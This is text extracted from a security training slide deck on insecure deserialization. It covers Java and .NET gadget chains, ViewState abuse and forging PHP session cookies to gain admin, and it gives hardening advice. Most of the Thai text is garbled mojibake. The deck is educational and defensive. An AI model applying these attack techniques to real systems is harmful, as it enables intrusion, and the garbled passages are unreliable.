Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
64
Java Deser. Gadget:
CommonsCollections5
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
65
Java Deser. Gadget:
CommonsCollections5
https://commons.apache.org/prope
r/commons-collections/security-rep
orts.html
Application Security Hardening Tip:
犖犖犖迦犖 Java Library 犖犖醐犖犢犖犖 犢犖犖犖園犢犖犖犢犖犖犖犖醐犖
犖ワ犖迦肩犖伍 犢犖犖¥犖犖朽犖犖伍犖犖朽犖犢犖迦犖 犖犖犖犖犖迦犖犖犖犢犖犖э犢犖
犢犖犖犢犖犖 犖犢犖犖迦犖÷元犖犖犖犢犖犖э犢犖 Library 犢犖犖犖犖о権
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
66
Java Deser. Gadget: Jdk7u21
https://gist.github.com/frohoff/24af7
913611f8406eaf3
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
67
Java Deser. Gadget: Jdk7u21
https://gist.github.com/frohoff/24af7
913611f8406eaf3
Application Security Hardening Tip:
犖犖犖迦犖 JDK 犖犖醐犖犢犖犖 犢犖犖犖園犢犖犖犢犖犖犖犖醐犖犖ワ犖迦肩犖伍
犢犖犖¥犖犖朽犖犖伍犖犖朽犖犢犖迦犖 犖犖犖犖犖迦犖犖犖犢犖犖э犢犖犢犖犖犢犖
犖 犖犢犖犖迦犖÷元犖犖犖犢犖犖э犢犖 JDK 犢犖犖犖犖о権
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
68
犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java)
犖犖犖迦犢犖迦犖迦牽 Deserialize 犢犖犖犖迦牽犢犖犖朽権犖
犢犖犖犢犖犖犖 犢犖犖∇犖犖犖迦鍵犖犖迦犖朽犖犖園犖÷顕犖犖迦
User Input 犢犖犖 HTTP Parameter
https://www.pinterest.com/pin/680958406133567782/
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
69
犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java)
犖犖迦権犖園犖犖犖犖犖迦牽犢犖 犖犢犖迦見犖犖犢犖 java.io.ObjectInputStream 犖犖刻犖э犖迦検犖 Object 犖犖萎犖犖犖迦
犖犖朽犖犖萎権犖犖÷犖犢犖犖巌犖犖迦牽 Deserialize 犢犖犖犖迦 犢犖犖朽権犖犖э犖迦犖迦牽犖犢犖 whitelisting
犖犖園硯犖犖犖迦犖犖迦権 犢 犢犖犖犖犖迦牽 overwrite 犖犖犖迦肩 ObjectInputStream 犢犖犢犖犢犖 Object 犖犖犖
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_
Cheat_Sheet.md#harden-your-own-javaioobjectinputstream
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
70
犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java)
1
3
2
4
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
71
犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java)
5
6
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
72
犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java)
https://github.com/ikkisoft/SerialKiller
look-ahead Java deserialization library
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
73
犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java)
5
6
*** 犖о鹸犖犖朽犖朽 犢犖犢犖犢犖犖犖迦鍵犖犖犖犖犖園犖犖迦牽犖犖犖犖犖園 犖犖迦牽
deserialize 犖犖 Object 犖犖犖犢犖犖犖劇賢犖犖迦犖犖朽犢犖犖
whitelist 犢犖э (犖犖朽犢犖犖迦犖犖朽権犖犖э犖 gadget) 犢犖犢犖¥犢犖
犖犖犖犖犖園犖犖迦牽犢犖犢犖 attribute 犖犖犖 Object 犖犖犖
class 犖犖朽犢犖犖迦権犖犖÷犖 deserialize 犢犖 (犖犖朽犖犖∇弦犢犖
whitelist)
犖犖園犖犖園犖 犖犖謹犖犖犖犖犢犖 input validation 犖犖園犖犖迦犖
Object 犖犖朽犖犖園犢犖犖迦検犖 犖犖о犖犖刻犖犖園犢犖犖犖о権
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
74
Insecure Deserialization (.NET)
Many types built into .NET framework have code that will run just because they are
instantiated.
The example of .NET magic methods:
- Constructors
- OnDeserialize Handlers
- Setters / Getters
- Destructors
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
75
.NET Serialization Gadget
Start with an easy gadget: TempFileCollection
Read this by yourself if you dare:
https://github.com/microsoft/referencesource/blob/master/System/compmod/system/codedom/compiler/TempFiles.cs#L34
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
76
.NET Serialization Gadget
Start with an easy gadget: TempFileCollection
Controllable Object Attributes
This gadget cannot RCE
Delete Temp Directory in
Destructor Method
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
77
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
This is too hard. Read it yourself please:
https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html
犢犖犢犖犖∇険犖 .NET Framework
犢犖о賢犖o犖犖園犖犖ワ犖迦肩犖伍
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
78
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
We have 3 friends as follows:
- ComparisonComparer
- MulticastDelegate
- SortedSet
1
2
3 4
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
79
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
ComparisonComparer class SortedSet class
Process::Start(Executable, Args)
??
1
2
犢犖犖迦犖萎犖犖朽権犖...
4
3
犖犖犖 犢 犢犖¥犢犖犢犖犖犖迦鍵犖犖犖 Comparison Type
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
80
.NET Serialization Gadget
Make it harder: TypeConfuseDelegate
MulticastDelegate
Fields:
- _invocationList
- _invocationCount
- ...
ComparisonA(A, B)
ComparisonB(A, B)
ComparisonC(A, B) Replace this delegate with
Process::Start(Executable, Args)
1
2
3
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
81
.NET Serialization Gadget
Let test TypeConfuseDelegate gadget
Demo Video: demo3_typeconfusedelegate.flv
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
ViewState
82
_VIEWSTATE value will be deserialized with
ObjectStateFormatter to be ViewState object.
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
83
ViewState Security Configuration
EnableViewStateMac
)
https://en.wikipedia.org/wiki/Message_authentication_code
viewStateEncryptionMode
犖犖劇賢犖犖迦牽犢犖犖迦牽犖犖園肩 viewstate 犖犖о権 MachineKey
MachineKey
犖犖劇賢 key 犖犖朽犢犖犢犖犖犖迦牽犢犖犖迦牽犖犖園肩 犖犖犖犖犖犖園肩 犖犖犖о犖犖犖
犖犖о顕犖÷犖項犖犖犖犖犖犖 forms-authentication 犢犖ム鍵
viewstate
key 犖犖萎賢犖∇弦犢犖 web.config 犖犖犖劇賢 machine.config
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犖犖犢犖犖э犖犖朽犢犖犖朽犖∇硯犖犖犖犖犖園 ViewState
EnableViewStateMac=false, viewStateEncryptionMode=false
HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFrameworkv4.0.30319
viewStateEncryptionMode 犖犖萎犖項犖犖園犖犢犖犖 false 犢犖犖犖犖
default
犖犖迦見犖迦 EnableViewStateMac 犖犖犖劇賢
viewStateEncryptionMode 犖犖項犢犖犖 犖犢犖迦犖犖犖犖犖犢犖
MachineKey 犢犖犖犖迦牽 犢犖犖÷犖
84
Web.config
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犖犖о犖犖犖 ViewState 犖犖о権 Burp Suite
85
ViewState MAC is Disabled
ViewState MAC is Enabled
ViewState MAC is Encrypted
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
86
犖ム賢犖犢犖犖 ViewState 犖犖о権
Insecure Deserialization
Let hack Insecure ViewState Serialization with TypeConfuseDelegate Gadget
Demo Video: demo4_viewstate.flv
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
87
Key Takeaways
#1 Do NOT Deserialize Untrusted Data
#2 Logging and Monitoring
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
88
#1 Do NOT Deserialize Untrusted Data
- 犢犖 Data Format 犖犖朽 Deserialize 犢犖ワ犖.. 犖犖犖犖犖迦犖犖ム賢犖犖犖園権 (犖犖迦 magic function 犖犖迦 犢) *
JSON*** (?)
XML*** (?)
Protobuf
犖犖迦犖犖犖犖迦牽犢犖犖犖犖迦犢犖ム元犢犖∇犢犖¥犢犖犖犖犖巌 犢 ...
- Deserialize 犢犖犖犖迦鍵犖犖 serialized object 犖犖朽 sign 犖÷顕犖犖項犖犖犖 (犢犖 HMAC)
- Deserialize 犢犖犖犖迦鍵犖犖迦 object 犖犖朽犢犖犖 whitelist 犢犖э 犖犖о権犖о鹸犖犖 look-ahead
- 犖犢犖 Input Validation 犖犖園 犖犖 property 犖犖犖 Object 犖犖朽犖犖園犢犖犖迦検犖 犖э犖迦犖項犖犖犖犢犖犖÷顕犖萎肩犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
89
#2 Logging and Monitoring
- 犢犖犢犖 log 犖犖迦牽犖犖犖萎犢犖迦肩犢犖迦犖園犢犖犖犖萎犖
- 犢犖犖迦牽犖萎犖, 犖犖犖犖犖萎犖 犖犖犖 admin
- 犢犖犖犢犖犖巌, 犖犖迦権犢犖犖巌, 犢犖犖ム元犢犖∇犖犖犖園肩犖犖迦 犖犖ム遣
- 犢犖犖ム元犢犖∇ log 犖犖伍 60 - 90 犖о険犖
- 犖犖園犖犖犖迦牽 alert 犢犖÷厳犢犖犢犖犖巌犢犖犖犖伍犖迦牽犖犢犖¥犖犖犖犖巌犖 log
- 犢犖犖巌 error 犢犖犖犖迦牽犖犢犖 deserialization 犢犖∇賢犖 犢
- 犖÷元 process 犖犖犖萎見犖ム顕犖犢犖犖ワ犖÷顕 (EDR ?)
- ...
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犢犖迦見犖犖園 Pen-Tester 犖犖犖劇賢 Security Tester
90
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsh
eets/Deserialization_Cheat_Sheet.md
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
https://github.com/frohoff/ysoserial
https://github.com/pwntester/ysoserial.net
Any Question ?
Contact us:
pentest@sth.sh
OWASP Thailand Chapter:
https://www.facebook.com/groups/owaspthailand/
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖

More Related Content

Web Hacking with Object Deserialization

  • 1. Web Hacking with Object Deserialization Made for Responsible: Pichaya Morimoto Version (Date): 1.0 (2020-05-28) Confidentiality class: Public 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 1 OWASP Thailand Chapter
  • 2. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public $ whoami 2 Mr. Pichaya (LongCat) Morimoto Founder | Lead Penetration Tester Siam Thanat Hack Company Limited 2 Past Events: OWASP Thailand Meeting 2/2017 OWASP Thailand Meeting 7/2016 OWASP Thailand Meeting 5/2015 OWASP Thailand Meeting 3/2014
  • 3. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 3 - ... - Ragnarok Mobile in Security, Red Pill 2019 - Mysterious Crypto in Android Biometrics, 2600 Thailand Meetup 2019/10 - Docker Security Plugin in DevSecOps, OWASP Day 2020: DevSecOps in Actions 俗_()_/俗
  • 4. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 4 LongCat @ Code Mania 10 Bangkok Uni. (2015)
  • 5. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Agenda Empower your Application Security Knowledge. Key Concepts for: - Data Serialization - OWASP Top 10 - A8 - Security Problems - Java Object Deserialization Exploitation - PHP Object Deserialization Exploitation - .NET Object Deserialization Exploitation - Key Takeaways 5
  • 6. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 6 Serialization 犢犖ム鍵 Deserialization 犖犖劇賢?
  • 7. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 7 犖犖迦牽犢犖犢犖犖犖犖÷弦犖ム犖犢犖犖ワ 犖犖犖劇賢犢犖犖犖迦犖犖犖÷弦犖 $number = 1337; $text = 'sth'; 1337 sth 1337 sth 1337 sth 犖犖 犖犖 犢犖犢犖 犢犖犢犖
  • 8. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 8 $fruits = array('apple', 'banana', 'orange'); class FooController { public $foo='bar'; function doX() { ... } } $a = new FooController; ? 犖犖迦牽犢犖犢犖犖犖犖÷弦犖ム犖犢犖犖ワ 犖犖犖劇賢犢犖犖犖迦犖犖犖÷弦犖 object 犖犖朽犖÷元犖犖 property 犖犖巌犖÷顕犖犖о権 犖犖 犖犖犖犖迦 API 犢犖ム鍵犖犖園犢犖犢犖犖∇険犖犢犖 ?? 犖犖犖∇険犖犢犖犖犖? 犢犖犢犖犖∇険犖犢犖犖犖? 犖犖犖∇険犖犢犖犖犖?
  • 9. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 9 犖犖迦牽犖犢犖 Serialization https://en.wikipedia.org/wiki/Serialization 犖犖犖伍犖犖迦権 犢 犖犖劇賢犢犖犖犖犖巌犖犖迦牽犢犖犖ム犖犖 data structure 犖犖犖劇賢犖犖園硯犢犖犖犖犖迦 犢 (string, int, array, linked list, hash map, ) 犢犖ム鍵 object 犖犖朽犖犖o犖迦犖÷顕犖犖迦 class 犢犖犖犖∇弦犢犖犖犖項 犢犖犖犖犖朽犖犖迦検犖迦牽犖 犖犖園犢犖犢犖 犢犖ム鍵 犖犖犖犖迦 network protocol 犖犖迦 犢 犢犖犖 HTTP 犢犖
  • 10. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 10 $fruits = array('apple', 'banana', 'orange'); class FooController { public $foo='bar'; function doX() { ... } } $a = new FooController; 犖犖迦牽犢犖犢犖犖犖犖÷弦犖ム犖犢犖犖ワ 犖犖犖劇賢犢犖犖犖迦犖犖犖÷弦犖 Serialization Deserialization a:3:{i:0;s:5:"ap ple";i:1;s:6:"ba nana";i:2;s:6:" orange";} O:13:"FooCon troller":1:{s:3:" foo";s:3:"bar";} $a $fruits * 犢犖¥犖犖о検 method Byte Streams Byte Streams
  • 11. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 11 Class Object - Properties - Methods Object Serialized Data - Database - File - Network Packet Object 犖犖迦牽犢犖 Object Serialization 犢犖犖犖萎犖 O:13:"FooCont roller":1:{s:3:"f oo";s:3:"bar";} Serialization Deserialization class FooController { public $foo; } $obj = new FooController; $obj->foo = 'bar'; $obj = unserialize($serData); echo $obj->foo; // bar serialize($obj) unserialize($obj)
  • 12. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 12 Serialization: serialize() Deserialization: unserialize() PHP Serialization https://www.php.net/manual/en/function.serialize.php https://www.php.net/manual/en/function.unserialize.php
  • 13. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 13 Java Serialization Serialize Deserialize https://docs.oracle.com/javase/7/docs/api/java/io/ ObjectInputStream.html#readObject() https://github.com/NickstaDB/SerializationDumper Magic Byte (File Header): ACED (hex)
  • 14. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 14 Serialization 犖犖園 Data Format 犢犖犖犖犖迦 犢 PHP Serialization (Native) Java Serialization (Native) .NET Serializations Python Pickle Ruby Marshal ... XStream Protobuf Apache Thrift YAML JSON XML, XMLDecoder, XStream ...
  • 15. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 15 OWASP Top Ten: Web App Security Risks A8 - Insecure Deserialization https://owasp.org/www-pdf-archive/OWASP_Top_10-201 7_%28en%29.pdf.pdf
  • 16. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 16 OWASP Top Ten: Web App Security Risks A8 - Insecure Deserialization Web Features: - Export Functions - User Session - Remember Me - Templates Serialized Data - Network Packet - Database - File 1. Serialization 2. Deserialization POST / HTTP/1.1 Host: victim.sth.sh import_data= [... Serialized Data ...] deserialize( Serialized Data) Web API Web API 犖犖迦犖刻犢犖犖犖迦犖犖萎犖犖犖迦検犖迦牽犖犖犖о犖犖伍検 犖犖 Serialized Data 犢犖? App Code: obj = deserialize(USER_INPUT)
  • 17. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 17 犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権 1. 犖犖迦犖犖犢犖犖犖o犖犖迦検犖迦牽犖犖犖伍検犖犖 serialized data 犢犖 犢犖犖犢犖犖犖o犖犖迦犢犖犖ム元犢犖∇犖犖 object 犖犖園犖犢犖犖劇犖犖犢犖迦犖犖犖巌犖犖犖朽犢犖¥犖犖о牽犖犢犖迦犖 犢犖犖 - object 犖犖犖 class User 犖犖朽犖÷元犖犖 username 犢犖犖 longcat 犖犖迦犢犖犖犢犖犖ム元犢犖∇犢犖犖 admin - 犖犖迦犖犖巌犢犖 object 100 犖犖迦犖犖項犢犖犖ム元犢犖∇犢犖犖 1337 犖犖ム犖劇賢 犢犖犖巌犖犖犖犢犖犖э犖犖萎犖犖犢犢犖犢犖犖÷厳犖犖犖犖迦牽犖犖園犖犖 HTTP parameter 犢犖犖迦検犖迦犖ワ犖о犖犖萎検犖о献犖犖ム犖¥犖犖ム賢犖犖犖園権 (SQL 犖犖犖劇賢 Command Injection, Broken AuthZ) 2. 犢犖犖犖迦犖犖犖犖 犖犖迦犖犖項犢犖 serialized data 犖犖朽犢犖÷厳犢犖 deserialize 犢犖ワ犖 犢犖犖巌犖犖迦牽犢犖犖朽権犖 犖犖犖犖犖園 犖犖朽犢犖¥犖犖о牽犖犖項犢犖犖朽権犖犢犖 犢犖犖 犖犖迦牽犖犖園犢犖犖
  • 18. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 18 犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権 1. 犖犖迦犖犖犢犖犖犖o犖犖迦検犖迦牽犖犖犖伍検犖犖 serialized data 犢犖 犢犖犖犢犖犖犖o犖犖迦犢犖犖ム元犢犖∇犖犖 object 犖犖園犖犢犖犖劇犖犖犢犖迦犖犖犖巌犖犖犖朽犢犖¥犖犖о牽犖犢犖迦犖 O:4:"User":3:{s:4:"nam e";s:7:"pichaya";s:4:"ro le";s:4:"user";s:3:"age"; i:28;} O:4:"User":3:{s:4:"nam e";s:3:"sth";s:4:"role";s: 5:"admin";s:3:"age";i:9 99;} Tzo0OiJVc2VyIjozOntz OjQ6Im5hbWUiO3M6N zoicGljaGF5YSI7czo0 OiJyb2xlIjtzOjQ6InVzZ XIiO3M6MzoiYWdlIjtpO jI4O30= Tzo0OiJVc2VyIjozOntz OjQ6Im5hbWUiO3M6 Mzoic3RoIjtzOjQ6InJvb GUiO3M6NToiYWRta W4iO3M6MzoiYWdlIjtp Ojk5OTt9
  • 19. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 19 犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権 1. 犖犖迦犖犖犢犖犖犖o犖犖迦検犖迦牽犖犖犖伍検犖犖 serialized data 犢犖 犢犖犖犢犖犖犖o犖犖迦犢犖犖ム元犢犖∇犖犖 object 犖犖園犖犢犖犖劇犖犖犢犖迦犖犖犖巌犖犖犖朽犢犖¥犖犖о牽犖犢犖迦犖 HP = 1234 MP = 0 Gold = 129340 binary serialization is not easily modifiable for the common user
  • 20. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 20 犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1) Session Data as PHP Serialized Object 犖犖迦検犖 field 犢犖 session data 犢犖犖 user role 犖犖犖劇賢 id 犢犖犖迦肩犖迦検犖迦牽犖犢犖 user 犖犖犖犖÷犖迦犖犖 admin 犢犖犢犖犖?
  • 21. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 21 犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1) Session Data as PHP Serialized Object Singing Signature = MD5(session + secret key) 犖÷険犖犖犖劇賢 MAC (Message Authentication Code)
  • 22. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 22 犖犖迦牽犖犢犖 Signing Signature 犖犖犖犖犖園犖犖迦牽犢犖犢犖犖犖 Web Server Web Browser (User) Set-Cookie: session= O:4:"User":3:{s:4:"name";s:7:"pichay a";s:4:"role";s:4:"user";s:3:"age";i:28;} Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;} 1. Server 犖犖犖犖 Serialized Data 犢犖犖犖犢犖犢犖о犖犖犖ム険犖犖ム犖犖犖犖巌 user=pichaya&password=P@ssw0rd 2. 犢犖犖犢犖犖犖o犖犖謹犢犖犢犖犖犖 Serialized Data 犖犖園硯犢犖犖犢犖犢犖犖犖犖犖犖劇犖犢犖
  • 23. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 23 犖犖迦牽犖犢犖 Signing Signature 犖犖犖犖犖園犖犖迦牽犢犖犢犖犖犖 Web Server Web Browser (User) Set-Cookie: session= O:4:"User":3:{s:4:"name";s:7:"pichaya";s:4: "role";s:4:"user";s:3:"age";i:28;}:deadbeef Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;}:deadbeef 1. Server 犖犖犖犖 Serialized Data 犢犖犖犖犢犖犢犖о犖犖犖ム険犖犖ム犖犖犖犖巌 犖犖o犖犖÷犖 signing signature 犖犖朽犖犖o犖迦犖犖迦 md5(msg + key) user=pichaya&password=P@ssw0rd secret_key=longcat signature=md5(O4:...i :28;}+secret_key) 犖犖÷検犖伍犖巌犖 deadbeef 2. 犢犖犖犢犖犖犖o犖犖萎犖犢犖犖犖 Serialized Data 犖犖園硯犢犖犖犢犖犢犖犖э犖 犖犖萎犖¥犖犖迦検犖迦牽犖犢犖犢犖犖犖 signing signature 犢犖犖犖犖迦犖朽犖犖項犢犖 犢犖犖犖迦鍵犖犖迦犖朽犖犖o犖迦犖犖迦 secret key 犖犖朽犖÷元犢犖 server 犖犖朽犖犖刻 Rejected * 犖犖園硯犖犖犖迦犢犖犖犢犖犖迦犖犖犖迦権 犢犖犖 犢 犖犖犖犖犖犖巌犖犖о牽 犢犖 HMAC 犖犖園 secret key 犖犖朽犖犖ム賢犖犖犖園権
  • 24. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 24 犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1) system/libraries/Session.php1 2 3
  • 25. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 25 犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1) 5 system/libraries/Session.php 4 6 encryption_key
  • 26. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 26 犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1)
  • 27. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 27 犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖?
  • 28. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 28 犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (1) 犢犖犖犢犖犖朽権犖о犖園犢犖犖犖ム顕犖∇犖朽犢犖ワ犖о犖¥犢犖犖ム元犢犖∇ secret key Offline Cracking 犖犖犖犢犖犖犖 secret key 犢犖¥犖犖ム賢犖犖犖園権 犖犖刻犢犖¥犖犖犖萎肩犖犖犖犖朽肩犖迦検犖迦牽犖犢犖犖迦犖謹犢犖犖犢犖 犖犖犖犢犖犖э犖犖劇犖 犢 犖犖朽犖犖迦検犖迦牽犖 bypass 犖犖迦牽犖犖犖о犖犖犖 犖犖犖劇賢犖犢犖迦犖 secret key 犖犖ム幻犖犖犖犖犖÷顕犢犖 犢犖犖劇犖犖犖朽犢犖犖犢犖犖犖o犖犖萎犖犖犖o犖迦 signing signature 犢犖犖犢犖 Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;}:deadbeef Rejected
